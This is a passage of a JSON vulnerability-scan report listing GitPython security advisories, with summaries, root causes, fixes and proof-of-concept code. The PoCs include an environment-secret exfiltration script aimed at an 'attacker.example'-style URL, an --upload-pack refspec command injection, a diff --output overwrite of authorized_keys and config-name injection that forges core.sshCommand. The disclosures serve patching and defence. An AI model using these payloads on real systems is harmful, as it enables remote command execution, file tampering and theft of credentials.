`--cleanup`) — matching the pattern used in `Repo.archive()` and `Commit.count()`.\n\n**Structural:** this defect has now been fixed four times in four places (`Repo.archive()`, `Git.ls_remote()`, `Commit.count()`, and the two here), because the guard is opt-in per method: every new `**kwargs`-forwarding API starts unguarded and stays that way until someone reports it. Enforcing the check centrally in `Git._call_process()` — each git invocation consults a per-command unsafe-option table unless the caller opts out — would make new call sites safe by default rather than by review, and would close the remaining sites in the table above at the same time.\n\n## Disclosure\n\nReported privately via GitHub private vulnerability reporting.", "Severity": "HIGH", "VendorSeverity": { "ghsa": 3 }, "CVSS": { "ghsa": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H", "V3Score": 8.1 } }, "References": [ "https://advisory.echohq.com/cve/GHSA-3f7w-8rr8-f37f", "https://github.com/advisories/GHSA-3f7w-8rr8-f37f", "https://github.com/gitpython-developers/GitPython", "https://github.com/gitpython-developers/GitPython/commit/3af0c2516c5e18c829da30338614688f6b69b49c", "https://github.com/gitpython-developers/GitPython/pull/2193", "https://github.com/gitpython-developers/GitPython/releases/tag/3.1.57", "https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-3f7w-8rr8-f37f" ], "PublishedDate": "2026-08-03T20:09:56Z", "LastModifiedDate": "2026-08-03T20:09:56Z" }, { "VulnerabilityID": "GHSA-6p8h-3wgx-97gf", "PkgName": "GitPython", "PkgPath": "venv/lib/python3.12/site-packages/gitpython-3.1.46.dist-info/METADATA", "PkgIdentifier": { "PURL": "pkg:pypi/gitpython@3.1.46", "UID": "660e0ddc0e796601" }, "InstalledVersion": "3.1.46", "FixedVersion": "3.1.54", "Status": "fixed", "Layer": { "DiffID": "sha256:8bc82c5c4331196d3368936f7c29fb8347fea656d846f29b1af32205ea599dc3" }, "SeveritySource": "ghsa", "PrimaryURL": "https://github.com/advisories/GHSA-6p8h-3wgx-97gf", "DataSource": { "ID": "ghsa", "Name": "GitHub Security Advisory pip", "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Apip" }, "Fingerprint": "sha256:c88b986340f9f9ab0618d65b7e3271dbe7b8e8d3285eb0c1ac6ca20983bf21b2", "Title": "GitPython: Incomplete unsafe_git_clone_options denylist omits --template enabling arbitrary command execution via clone hooks", "Description": "## Summary\nGitPython's `unsafe_git_clone_options` denylist omits `--template`. `git clone --template=\u003cdir\u003e` copies `\u003cdir\u003e/hooks/` into the new repository and runs them (`post-checkout` fires during clone), so a caller who can influence clone options can achieve arbitrary command execution in the default `allow_unsafe_options=False` configuration.\n\n## Root Cause\n`base.py:145-152` defines `unsafe_git_clone_options = [\"--upload-pack\",\"-u\",\"--config\",\"-c\"]` — `--template` is absent. The guard candidate `['--template']` passes `check_unsafe_options` (verified). git copies the hook directory and executes `post-checkout` at checkout time. git's `protocol.allow`/`GIT_ALLOW_PROTOCOL` do not gate `--template`; the incomplete denylist is the only defense.\n\n## Impact\nArbitrary OS command execution during clone (default config). Requires an attacker-readable directory containing an executable hook — a genuine second precondition (realistic via shared filesystems, upload dirs, `/tmp`, or attacker-writable network paths), reflected as AC:H.\n\n## Proof of Concept\n```python\n# attacker stages \u003cdir\u003e/hooks/post-checkout (chmod +x)\nfrom git import Repo\nRepo.clone_from(src, dst, template='\u003cdir\u003e') # post-checkout hook executes -\u003e marker created (verified)\n```\n\n## Attack Chain\n1. Setup: attacker stages `\u003cdir\u003e/hooks/post-checkout` (chmod +x). Guard: n/a (filesystem).\n2. Entry: `Repo.clone_from(url, path, template='\u003cdir\u003e')`. Guard: `check_unsafe_options(candidates=['--template'], unsafe=unsafe_git_clone_options)`. Bypass proof: `--template` not on the denylist -\u003e passes (verified candidate `['--template']`, no error).\n3. Sink: git copies the hook and executes `post-checkout` at checkout. Impact: ACE, default config (verified marker created).\n\n## Bypass Evidence\nLive-verified on HEAD (tag 3.1.53): guard candidate `['--template']` passed with no error; staged `post-checkout` hook executed during `clone_from`, creating the marker. Independent of the value-smuggle bypass (`--template` is a legitimate long option that survives any single-char-value fix). Not covered by any existing advisory.\n\n## Affected Versions\n`\u003c= 3.1.53`\n\n## Suggested Fix\nAdd `--template` (and audit for other hook/exec-influencing options) to `unsafe_git_clone_options`.\n\n---\nReported by **zx (Jace)** — GitHub: @manus-use", "Severity": "HIGH", "VendorSeverity": { "ghsa": 3 }, "CVSS": { "ghsa": { "V3Vector": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.5 } }, "References": [ "https://advisory.echohq.com/cve/GHSA-6p8h-3wgx-97gf", "https://github.com/advisories/GHSA-6p8h-3wgx-97gf", "https://github.com/gitpython-developers/GitPython", "https://github.com/gitpython-developers/GitPython/commit/ffcb5359e87619f4fe4a70a4aff5f08c5580ba97", "https://github.com/gitpython-developers/GitPython/pull/2180", "https://github.com/gitpython-developers/GitPython/releases/tag/3.1.54", "https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-6p8h-3wgx-97gf" ], "PublishedDate": "2026-07-24T16:42:09Z", "LastModifiedDate": "2026-07-24T16:42:09Z" }, { "VulnerabilityID": "GHSA-94p4-4cq8-9g67", "PkgName": "GitPython", "PkgPath": "venv/lib/python3.12/site-packages/gitpython-3.1.46.dist-info/METADATA", "PkgIdentifier": { "PURL": "pkg:pypi/gitpython@3.1.46", "UID": "660e0ddc0e796601" }, "InstalledVersion": "3.1.46", "FixedVersion": "3.1.55", "Status": "fixed", "Layer": { "DiffID": "sha256:8bc82c5c4331196d3368936f7c29fb8347fea656d846f29b1af32205ea599dc3" }, "SeveritySource": "ghsa", "PrimaryURL": "https://github.com/advisories/GHSA-94p4-4cq8-9g67", "DataSource": { "ID": "ghsa", "Name": "GitHub Security Advisory pip", "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Apip" }, "Fingerprint": "sha256:3c3cde3a11bc27c9b9e6d0d3f5b2d242aa4c21758438d34a4214ce9a802abe99", "Title": "GitPython: Environment-variable exfiltration via Repo.create_remote() / Remote.add() URL (incomplete fix of GHSA-rwj8-pgh3-r573)", "Description": "## Summary\n\nThe fix for [GHSA-rwj8-pgh3-r573](https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-rwj8-pgh3-r573) stopped `Repo.clone_from()` from running caller-supplied URLs through `os.path.expandvars()`, but it guarded only that one caller. `Remote.create()` — reached from the public `Repo.create_remote()` and its `Remote.add()` alias — still passes an attacker-influenceable URL through `Git.polish_url()` with the default `expand_vars=True`. A URL such as `http://attacker.example/${AWS_SECRET_ACCESS_KEY}/repo.git` is expanded server-side to embed the hosting process's environment secret, written into `.git/config`, and then transmitted to the attacker's host on the next `fetch`/`pull`. This is the same primitive and same \"import repository from URL\" threat model the advisory describes, via the sibling caller the fix missed.\n\n## Root Cause\n\nFix commit [`8ac5a305`](https://github.com/gitpython-developers/GitPython/commit/8ac5a30519b6f4af85398b9b9d7064ff4d452da2) added an `expand_vars` parameter to `Git.polish_url()` (default `True`) and used `expand_vars=False` only in `Repo._clone()` ([`git/repo/base.py:1455`](https://github.com/gitpython-developers/GitPython/blob/3.1.53/git/repo/base.py#L1455)). The shared helper's dangerous default was left in place, and the other callers were not updated.\n\n[`git/remote.py:811`](https://github.com/gitpython-developers/GitPython/blob/3.1.53/git/remote.py#L811), `Remote.create`:\n\n```python\nurl = Git.polish_url(url) # expand_vars=True -\u003e os.path.expandvars(url)\nif not allow_unsafe_protocols:\n Git.check_unsafe_protocols(url) # https:// carrying the secret passes\nrepo.git.remote(scmd, \"--\", name, url, **kwargs) # expanded URL written to .git/config\n```\n\n`check_unsafe_protocols()` runs *after* expansion here, so it rejects an `ext::` payload but does nothing about an `https://` URL that carries an expanded secret in its path or host — the disclosure primitive.\n\nThe same unguarded call also sits at [`git/objects/submodule/base.py:611`](https://github.com/gitpython-developers/GitPython/blob/3.1.53/git/objects/submodule/base.py#L611) (`Submodule.add`), which writes the expanded URL into `.gitmodules` (a tracked file) and `.git/config`.\n\n## Steps to Reproduce\n\n### Prerequisites\n\n- Python 3.9+\n- `git` on `PATH` (for the fetch step)\n- GitPython 3.1.53 (installed below)\n\n### Step 1: Install GitPython 3.1.53 in a clean venv\n\n```bash\nmkdir /tmp/gp-remote-poc \u0026\u0026 cd /tmp/gp-remote-poc\npython3 -m venv venv\n./venv/bin/pip install gitpython==3.1.53\n```\n\n### Step 2: Write the PoC\n\n```bash\ncat \u003e poc.py \u003c\u003c'PYEOF'\n#!/usr/bin/env python3\n\"\"\"Env-var exfiltration via Repo.create_remote() URL. Sentinel data only.\"\"\"\nimport http.server\nimport os\nimport tempfile\nimport threading\n\nimport git\n\nprint(\"gitpython version:\", git.__version__)\n\n# Sentinel standing in for a process secret such as AWS_SECRET_ACCESS_KEY.\nSENTINEL = \"leaked-a1b2c3-SENTINEL-do-not-use\"\nos.environ[\"GP_SENTINEL_SECRET\"] = SENTINEL\n\n# Local HTTP server standing in for attacker.example.\ncaptured = []\n\n\nclass Handler(http.server.BaseHTTPRequestHandler):\n def do_GET(self):\n captured.append(self.path)\n self.send_response(404)\n self.end_headers()\n\n def log_message(self, *a):\n pass\n\n\nsrv = http.server.HTTPServer((\"127.0.0.1\", 0), Handler)\nport = srv.server_address[1]\nthreading.Thread(target=srv.serve_forever, daemon=True).start()\n\n# Attacker-controlled URL handed to an \"import from URL\" feature.\nattacker_url = \"http://127.0.0.1:%d/steal/${GP_SENTINEL_SECRET}/repo.git\" % port\n\n\ndef norm(s): # display the ephemeral listener port as a stable placeholder\n return s.replace(\"127.0.0.1:%d\" % port, \"127.0.0.1:PORT\")\n\n\nprint(\"attacker-supplied URL :\", norm(attacker_url))\n\nrepo = git.Repo.init(tempfile.mkdtemp(prefix=\"gp-victim-\"))\nremote = repo.create_remote(\"evil\", attacker_url) # public API\n\nstored = repo.remote(\"evil\").url\nprint(\"stored remote URL :\", norm(stored))\nprint(\"SENTINEL in git config:\", SENTINEL in stored)\n\ntry:\n remote.fetch() # transmits the expanded URL to the attacker host\nexcept Exception:\n pass # fetch fails after the request is already sent\n\nsrv.shutdown()\nover_network = any(SENTINEL in p for p in captured)\nprint(\"HTTP paths received :\", [norm(p) for p in captured])\nprint(\"SENTINEL over network :\", over_network)\n\nprint()\nif SENTINEL in stored and over_network:\n print(\"VULNERABLE: env-var expanded into stored URL AND transmitted to attacker host\")\nelif SENTINEL in stored:\n print(\"VULNERABLE: env-var expanded into stored git-config URL\")\nelse:\n print(\"not reproduced\")\nPYEOF\n```\n\n### Step 3: Run it\n\n```bash\ncd /tmp/gp-remote-poc \u0026\u0026 ./venv/bin/python poc.py\n```\n\nExpected output (the listener's ephemeral port is shown as `PORT`):\n\n```\ngitpython version: 3.1.53\nattacker-supplied URL : http://127.0.0.1:PORT/steal/${GP_SENTINEL_SECRET}/repo.git\nstored remote URL : http://127.0.0.1:PORT/steal/leaked-a1b2c3-SENTINEL-do-not-use/repo.git\nSENTINEL in git config: True\nHTTP paths received : ['/steal/leaked-a1b2c3-SENTINEL-do-not-use/repo.git/info/refs?service=git-upload-pack']\nSENTINEL over network : True\n\nVULNERABLE: env-var expanded into stored URL AND transmitted to attacker host\n```\n\nThe `${GP_SENTINEL_SECRET}` token in the supplied URL is replaced with the environment value both in the stored `.git/config` URL and in the request that reaches the attacker-controlled host.\n\n## Suggested Fix\n\nPass `expand_vars=False` at the remaining URL callers, matching the clone fix:\n\n- `git/remote.py` `Remote.create`: `url = Git.polish_url(url, expand_vars=False)`\n- `git/objects/submodule/base.py` `Submodule.add`: `url = Git.polish_url(url, expand_vars=False)`\n\nMore robustly, flip the `Git.polish_url()` default to `expand_vars=False` (env-var expansion on a URL is never desirable for network remotes) and require callers that genuinely normalize local paths to opt in.\n\n## Cleanup\n\n```bash\nrm -rf /tmp/gp-remote-poc\n```\n\n## Impact\n\nAny secret in the hosting process environment (`AWS_SECRET_ACCESS_KEY`, `GITHUB_TOKEN`, CI/CD tokens) is disclosed to an attacker who controls a remote URL passed to `Repo.create_remote()` / `Remote.add()`. The secret is expanded into `.git/config` immediately and transmitted over the network (DNS + HTTP) on the next `fetch`/`pull`/`remote update`. This is the documented \"import repository from URL\" attacker model of GHSA-rwj8-pgh3-r573 — CI servers, git-hosting mirrors, and dependency scanners — applied to the add-a-remote flow, which the clone-only fix did not cover. The same disclosure reaches `.gitmodules` (a committable file) via `Submodule.add()`.", "Severity": "HIGH", "VendorSeverity": { "ghsa": 3 }, "CVSS": { "ghsa": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "V3Score": 7.5 } }, "References": [ "https://advisory.echohq.com/cve/GHSA-94p4-4cq8-9g67", "https://github.com/advisories/GHSA-94p4-4cq8-9g67", "https://github.com/gitpython-developers/GitPython", "https://github.com/gitpython-developers/GitPython/commit/863417457a0633db7ea5aed4fd01e0b291a41162", "https://github.com/gitpython-developers/GitPython/commit/8ac5a30519b6f4af85398b9b9d7064ff4d452da2", "https://github.com/gitpython-developers/GitPython/releases/tag/3.1.55", "https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-94p4-4cq8-9g67", "https://github.com/pypa/advisory-database/tree/main/vulns/gitpython/PYSEC-2026-3951.yaml", "https://www.vulncheck.com/advisories/gitpython-before-environment-variable-exfiltration-via-remote-add" ], "PublishedDate": "2026-07-24T21:45:16Z", "LastModifiedDate": "2026-09-24T14:39:20Z" }, { "VulnerabilityID": "GHSA-f9j4-qggq-h239", "PkgName": "GitPython", "PkgPath": "venv/lib/python3.12/site-packages/gitpython-3.1.46.dist-info/METADATA", "PkgIdentifier": { "PURL": "pkg:pypi/gitpython@3.1.46", "UID": "660e0ddc0e796601" }, "InstalledVersion": "3.1.46", "FixedVersion": "3.2.0", "Status": "fixed", "Layer": { "DiffID": "sha256:8bc82c5c4331196d3368936f7c29fb8347fea656d846f29b1af32205ea599dc3" }, "SeveritySource": "ghsa", "PrimaryURL": "https://github.com/advisories/GHSA-f9j4-qggq-h239", "DataSource": { "ID": "ghsa", "Name": "GitHub Security Advisory pip", "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Apip" }, "Fingerprint": "sha256:bb12803156866a47aadca508bf94864ed87c5619ba46b458e27449e93fb13a3a", "Title": "GitPython Remote.pull() refspec bypasses the --upload-pack unsafe-option guard, enabling arbitrary command execution", "Description": "## Summary\n\n`Remote.pull()` in GitPython forwards its positional `refspec` argument directly to the `git pull` child process while its unsafe-option guard inspects only keyword arguments. An application that passes attacker-influenced data as the `refspec` (for example a user-supplied branch or refspec parameter in a web or CI service) can supply an option-shaped value such as `--upload-pack=\u003ccommand\u003e`. The value bypasses the `unsafe_git_pull_options` check, is placed after the `--` separator on the `git pull` command line, and is executed as the upload-pack program for local-path or SSH transports. This yields arbitrary command execution with the privileges of the calling process using the documented default arguments (`allow_unsafe_options=False`).\n\n## Root Cause\n\n`Remote.pull()` is documented to reject dangerous options unless `allow_unsafe_options=True`, and `--upload-pack` is explicitly listed as such an option. The guard, however, only screens keyword arguments and never the positional `refspec`. The check builds its candidate list with `Git._option_candidates([], kwargs)`, passing an empty list in place of the positionals, so the `refspec` value is never compared against `unsafe_git_pull_options = [\"--upload-pack\"]`. The normalized `refspec` is then forwarded verbatim to the `git pull` invocation. The leading `--` separator that neutralizes an option-shaped refspec for `git fetch` and `git push` does not protect `git pull`, because `git pull` re-forwards its trailing positionals to an internal `git fetch` without re-inserting a `--` separator, so the positional becomes an option to that internal fetch.\n\n```text\nAffected function: git.remote.Remote.pull\nSource: git/remote.py (guard at the check_unsafe_options call using _option_candidates([], kwargs); sink at the self.repo.git.pull(\"--\", self, refspec, ...) invocation)\n```\n\n## Impact\n\nAn attacker who controls the `refspec` value passed to `Remote.pull()` achieves arbitrary operating-system command execution as the process invoking GitPython, with no additional privileges and no user interaction, on the default code path. Exploitation requires that the pulled remote uses a transport that runs upload-pack on the local side, namely a local filesystem path or SSH; over HTTPS the `--upload-pack` value is inert because the server ignores a client-supplied upload-pack program. This transport requirement narrows the population of vulnerable deployments but does not add work for the attacker once a vulnerable target is reached. Working checkouts commonly use local-path or SSH origins, so the exposed population is substantial.\n\n## Proof of Concept\n\n```text\nEnvironment: GitPython from the affected source tree; system git 2.43.0.\nThe pulled origin uses a local filesystem transport (protocol.file.allow=always for git \u003e= 2.38).\n```\n\nReproduction steps:\n\n1. Create an origin repository reachable over a local-path transport.\n2. In a consumer repository, register that origin and call `Remote.pull()` with an attacker-controlled refspec.\n3. Observe that the injected command executes.\n\n```python\nimport git\nrepo = git.Repo(\"consumer\") # has an origin using a local-path or ssh transport\norigin = repo.remote(\"origin\")\n# Attacker-controlled refspec value; default arguments (allow_unsafe_options=False):\norigin.pull(refspec=\"--upload-pack=touch /tmp/pwned; git-upload-pack\")\n```\n\n```text\ncmdline: git pull -v -- origin --upload-pack=touch /tmp/pwned; git-upload-pack\n[attack] marker created (RCE) : True\n[isolate] upload_pack passed as KWARG blocked : True (only the positional refspec escapes)\n[sibling] same value via git fetch : safe (pull-specific behavior)\n[control] benign refspec : safe\n```\n\n## Attack Chain\n\n1. **Exposure:** An application calls `Remote.pull(refspec=\u003cvalue\u003e)` on the default path, where `\u003cvalue\u003e` is derived from attacker-influenced input such as a branch or refspec request parameter.\n2. **Control:** The attacker supplies the string `--upload-pack=\u003ccommand\u003e; git-upload-pack`. The value passes through `Git._unpack_args`, which only flattens and stringifies it, preserving the option shape.\n3. **Path:** The protocol loop calls `Git.check_unsafe_protocols` on the value, which only matches remote-helper transport URLs (a `\u003ctransport\u003e::` form) and does not flag an `--upload-pack=` token.\n4. **Guard:** The unsafe-option guard calls `check_unsafe_options(options=Git._option_candidates([], kwargs), ...)`. Because positionals are passed as an empty list, the positional `refspec` is never inspected against `unsafe_git_pull_options`.\n5. **Primitive:** The value is forwarded to `git pull -v -- \u003cremote\u003e --upload-pack=\u003ccommand\u003e; git-upload-pack`; `git pull` re-forwards the positional to an internal `git fetch` without a `--` separator, so it is honored as the upload-pack program.\n6. **Result:** For a local-path or SSH transport, git executes `\u003ccommand\u003e` as the upload-pack program, giving arbitrary command execution as the calling process user.\n\n## Bypass Evidence\n\nThe relevant guard is `Remote.pull()`'s own `check_unsafe_options` call, present in the current released artifact. It is incomplete: it inspects `Git._option_candidates([], kwargs)`, which only considers keyword arguments, so the positional `refspec` is never checked. This was confirmed empirically: passing the identical value as the `upload_pack=` keyword argument raises `UnsafeOptionError`, while passing it as the positional `refspec` does not, proving that only the positional escapes the guard.\n\nThe `--` separator on the `git pull` command line was tested as a possible mitigation and refuted: with system git 2.43.0, `git pull -- \u003cremote\u003e '--upload-pack=\u003ccmd\u003e'` executed the injected command, while the identical value supplied to `git fetch -- ...` and `git push -- ...` did not execute, because those subcommands honor the `--` terminator whereas `git pull` re-forwards positionals to an internal fetch without one. The `check_unsafe_protocols` transport check was also examined and does not flag the `--upload-pack=` token because it has no `\u003ctransport\u003e::` form. No prior published advisory for this package addresses `Remote.pull`, the fetch or pull refspec positional, or `--upload-pack` injection via a refspec; the closest accepted issue covers the same class (a positional argument escaping a keyword-only guard) in a different function and sink.\n\n## Affected Versions\n\n- `Ecosystem: pip (PyPI)`\n- `Package: GitPython`\n- `Confirmed affected range: \u003e= 3.1.30`\n- `Latest release checked: 3.1.62 (PyPI); source verified against the 3.1.62 release tag`\n- `Fix status: not fixed in any released version or on the development branch`\n\nThe keyword-only pull guard together with the positional `refspec` sink is present in every released tag from 3.1.30 through the latest release 3.1.62, verified by inspecting the shipped `git/remote.py` in each tagged artifact. Version 3.1.30 introduced the `unsafe_git_pull_options` guard; the affected range is stated from that boundary under the incomplete-guard framing. Releases before 3.1.30 forward the `refspec` positionally with no unsafe-option guard and no `--` separator and are also exploitable, but the range is stated conservatively from the guard-introduction boundary. No fixed release exists.\n\n## Suggested Fix\n\nEnforce the unsafe-option invariant on the positional `refspec`, not only on keyword arguments. The guard should build its candidate list from the actual forwarded positionals (for example by passing the normalized refspec list into `Git._option_candidates` alongside `kwargs`) so that an option-shaped `refspec` such as `--upload-pack=...` is rejected with `UnsafeOptionError` unless `allow_unsafe_options=True`. The same correction should be verified for any other reference or refspec forwarding path that relies on the keyword-only guard. As an interim mitigation without a code change, callers should validate or reject refspec values that begin with `-`, avoid passing untrusted data as the `refspec`, and prefer HTTPS remotes where a client-supplied upload-pack program is inert.\n\nReported by zx (GitHub: @manus-pi).", "Severity": "HIGH", "VendorSeverity": { "ghsa": 3 }, "CVSS": { "ghsa": { "V3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "V3Score": 8.1 } }, "References": [ "https://github.com/gitpython-developers/GitPython", "https://github.com/gitpython-developers/GitPython/commit/790bb3164948625ffb043d2a162425d55923fe9a", "https://github.com/gitpython-developers/GitPython/pull/2247", "https://github.com/gitpython-developers/GitPython/releases/tag/3.2.0", "https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-f9j4-qggq-h239" ], "PublishedDate": "2026-10-27T15:26:50Z", "LastModifiedDate": "2026-10-27T15:26:50Z" }, { "VulnerabilityID": "GHSA-fjr4-x663-mwxc", "PkgName": "GitPython", "PkgPath": "venv/lib/python3.12/site-packages/gitpython-3.1.46.dist-info/METADATA", "PkgIdentifier": { "PURL": "pkg:pypi/gitpython@3.1.46", "UID": "660e0ddc0e796601" }, "InstalledVersion": "3.1.46", "FixedVersion": "3.1.54", "Status": "fixed", "Layer": { "DiffID": "sha256:8bc82c5c4331196d3368936f7c29fb8347fea656d846f29b1af32205ea599dc3" }, "SeveritySource": "ghsa", "PrimaryURL": "https://github.com/advisories/GHSA-fjr4-x663-mwxc", "DataSource": { "ID": "ghsa", "Name": "GitHub Security Advisory pip", "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Apip" }, "Fingerprint": "sha256:14d13d4d9022d2fc6b7ec9c339d6fce3a50418545b494a44a97da197e62ea64d", "Title": "GitPython: Arbitrary file overwrite via git diff --output argument injection in Diffable.diff (key- and value-controlled)", "Description": "## Summary\n`Diffable.diff()` forwards `**kwargs` straight into `diff`/`diff_tree` with **no** `check_unsafe_options` guard. `Diffable` is mixed into `Commit`, `Tree`, `IndexFile`, and `Submodule`, giving a broad surface. `git diff --output=\u003cpath\u003e` writes real patch content to an attacker-chosen path, enabling arbitrary file overwrite.\n\n## Root Cause\n`diff.py:188-283` builds and runs the diff command with no `check_unsafe_options` anywhere in the method (grep-confirmed). Additionally `diff.py:265` does `args.insert(0, other)`, placing the caller-supplied `other` ref BEFORE the `--` separator, so a value of `--output=/path` is parsed by git as an option — a value-only control path requiring no kwarg key.\n\n## Impact\nOverwrite/corrupt any file at process privilege with attacker-chosen path (e.g. `~/.ssh/authorized_keys`, configs, lockfiles). Content is real diff/patch bytes (attacker-influenced). Per the skill's rule, controlling WHICH file is overwritten = I:H regardless of content constraints.\n\n## Proof of Concept\n```python\n# Key-control:\ncommit.diff(other_commit, output='/home/app/.ssh/authorized_keys') # victim overwritten with diff (105 bytes verified)\n# Value-control (attacker controls only the ref string):\ncommit.diff(other='--output=/home/app/.ssh/authorized_keys') # 14-byte victim -\u003e 146 bytes of diff-tree output\n```\n\n## Attack Chain\n1. Entry (value-control): `commit.diff(other=\u003cuser ref\u003e)` with `other = \"--output=/home/app/.ssh/authorized_keys\"`. Guard: none in `Diffable.diff`. Bypass proof: no `check_unsafe_options` in the method body (grep); `other` inserted pre-`--` at diff.py:265.\n2. Sink: `git diff-tree \u003csha\u003e --output=/home/app/.ssh/authorized_keys -r ...` -\u003e git opens+truncates the target then writes diff content. Impact: overwrite/corrupt any file at process privilege (attacker chooses the path). Verified argv and victim overwrite live.\n\n## Bypass Evidence\nLive-verified on HEAD (tag 3.1.53): both key-control (`output=`) and value-control (`other='--output=...'`) overwrote a victim file with real diff-tree content; argv confirmed `['git','diff-tree','\u003csha\u003e','--output=/victim','-r',...]`. This is the same value-control model GHSA-956x deemed fix-worthy for `iter_commits(rev='--output=')` — but `diff` is a distinct, unguarded sink NOT touched by that fix.\n\n## Affected Versions\n`\u003c= 3.1.53`\n\n## Suggested Fix\nAdd `check_unsafe_options` to `Diffable.diff` (mirroring `iter_commits`/`archive`), and/or place `--end-of-options` before the `other` ref so it cannot be parsed as an option.\n\n---\nReported by **zx (Jace)** — GitHub: @manus-use", "Severity": "HIGH", "VendorSeverity": { "ghsa": 3 }, "CVSS": { "ghsa": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H", "V3Score": 8.1 } }, "References": [ "https://advisory.echohq.com/cve/GHSA-fjr4-x663-mwxc", "https://github.com/advisories/GHSA-fjr4-x663-mwxc", "https://github.com/gitpython-developers/GitPython", "https://github.com/gitpython-developers/GitPython/commit/1d51b891d7f236044a6aa17498ec682b63dad6e6", "https://github.com/gitpython-developers/GitPython/pull/2180", "https://github.com/gitpython-developers/GitPython/releases/tag/3.1.54", "https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-fjr4-x663-mwxc" ], "PublishedDate": "2026-07-24T16:41:20Z", "LastModifiedDate": "2026-07-24T16:41:21Z" }, { "VulnerabilityID": "GHSA-jm78-9fvv-mhgr", "PkgName": "GitPython", "PkgPath": "venv/lib/python3.12/site-packages/gitpython-3.1.46.dist-info/METADATA", "PkgIdentifier": { "PURL": "pkg:pypi/gitpython@3.1.46", "UID": "660e0ddc0e796601" }, "InstalledVersion": "3.1.46", "FixedVersion": "3.1.58", "Status": "fixed", "Layer": { "DiffID": "sha256:8bc82c5c4331196d3368936f7c29fb8347fea656d846f29b1af32205ea599dc3" }, "SeveritySource": "ghsa", "PrimaryURL": "https://github.com/advisories/GHSA-jm78-9fvv-mhgr", "DataSource": { "ID": "ghsa", "Name": "GitHub Security Advisory pip", "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Apip" }, "Fingerprint": "sha256:c64354d3911624f49c2b8a3c79edeaad4890df9cc27cf51c9fdfda3bf190c911", "Title": "GitPython: git-config OPTION-name injection via =/#/whitespace bypasses name validator, enabling forged core.sshCommand/hooksPath (RCE)", "Description": "## Summary\nGitPython's config-name validator only neutralizes CR/LF/NUL for the `\"option\"` label; it does not reject `=`, `#`, `;`, `[`, `]`, or whitespace in an **option name**. `write_section` writes the option name verbatim into the config file, so an option name such as `sshCommand = touch \u003ccmd\u003e #` is written as `\\tsshCommand = touch \u003ccmd\u003e # = \u003cvalue\u003e`, which git parses as `core.sshCommand = touch \u003ccmd\u003e` (the trailing `#` comments out the intended value). This forges arbitrary config directives (`core.sshCommand`, `core.hooksPath`, `alias.*`) → RCE on the next git operation. This is a distinct field (option name, not section name) and distinct character class (`=`/`#`/space, not newline/bracket) from GHSA-3rp5-jjmw-4wv2 (section-name bracket injection) and GHSA-mv93-w799-cj2w / GHSA-v87r-6q3f-2j67 (newline injection).\n\n## Root Cause\n`_assure_config_name_safe(name, label)` (`git/config.py:897`) applies the bracket/quote state machine ONLY when `label == \"section\"`; for the `\"option\"` label it falls through with just the `UNSAFE_CONFIG_CHARS_RE = [\\r\\n\\x00]` regex. `write_section` then writes the option name verbatim into `\"\\t%s = %s\\n\"` (config.py:702).\n\n## Impact\nArbitrary git-config directive injection → remote code execution via `core.sshCommand` (fires on any ssh git operation, no staged file needed) or `core.hooksPath` (with a staged hook). Requires the embedding application to forward a caller-influenced OPTION NAME into the config writer (name-control model, the same name-control model accepted by the related published advisories GHSA-3rp5-jjmw-4wv2 and GHSA-mv93-w799-cj2w). Default configuration.\n\n## Proof of Concept\n```python\nwith repo.config_writer() as cw:\n cw.set_value(\"core\", \"sshCommand = touch /tmp/RCE #\", \"x\")\n# git config --get core.sshCommand -\u003e touch /tmp/RCE\n```\n\n## Attack Chain\n1. Entry: app calls config writer with attacker-controlled OPTION name: `set_value(\"core\", \"sshCommand = touch /tmp/RCE #\", \"x\")`.\n2. Check: `_assure_config_name_safe(option, \"option\")` @ config.py. Guard: regex matches only `[\\r\\n\\x00]`; bracket/quote state machine is gated on `label==\"section\"`. Bypass proof: `=`,`#`,space pass → no `ValueError`.\n3. Sink: `write_section` writes `\"\\tsshCommand = touch /tmp/RCE # = x\\n\"` (config.py:702).\n4. Impact: git parses `core.sshCommand=touch /tmp/RCE` → arbitrary code execution on next git op.\n\n## Bypass Evidence\nIndependently reproduced (gate harness): `set_value('core','sshCommand = touch \u003cRCE\u003e #','x')` → no `ValueError`; file line `sshCommand = touch \u003cRCE\u003e # = x`; `git config --get core.sshCommand` → `touch \u003cRCE\u003e` (rc=0). Also verified `core.hooksPath` via both `GitConfigParser` and `repo.config_writer()`. Fix-commit read: bracket/quote checks are inside `if label == \"section\"`; the `\"option\"` label is not covered.\n\n## Affected Versions\n`GitPython \u003c= 3.1.57` (validator present verbatim on the latest release tag).\n\n## Suggested Fix\nApply the section-name safety checks (reject `=`, `#`, `;`, `[`, `]`, whitespace) to the `\"option\"` label as well, or validate the fully-rendered config line after substitution.\n\n---\nReported by **zx (Jace)** — GitHub: @manus-use", "Severity": "HIGH", "VendorSeverity": { "ghsa": 3 }, "CVSS": { "ghsa": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 8.8 } }, "References": [ "https://advisory.echohq.com/cve/GHSA-jm78-9fvv-mhgr", "https://github.com/advisories/GHSA-jm78-9fvv-mhgr", "https://github.com/gitpython-developers/GitPython", "https://github.com/gitpython-developers/GitPython/commit/a495ccd3b547ccd60b2187215823b72a9c0188bf", "https://github.com/gitpython-developers/GitPython/pull/2204", "https://github.com/gitpython-developers/GitPython/releases/tag/3.1.58", "https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-jm78-9fvv-mhgr" ], "PublishedDate": 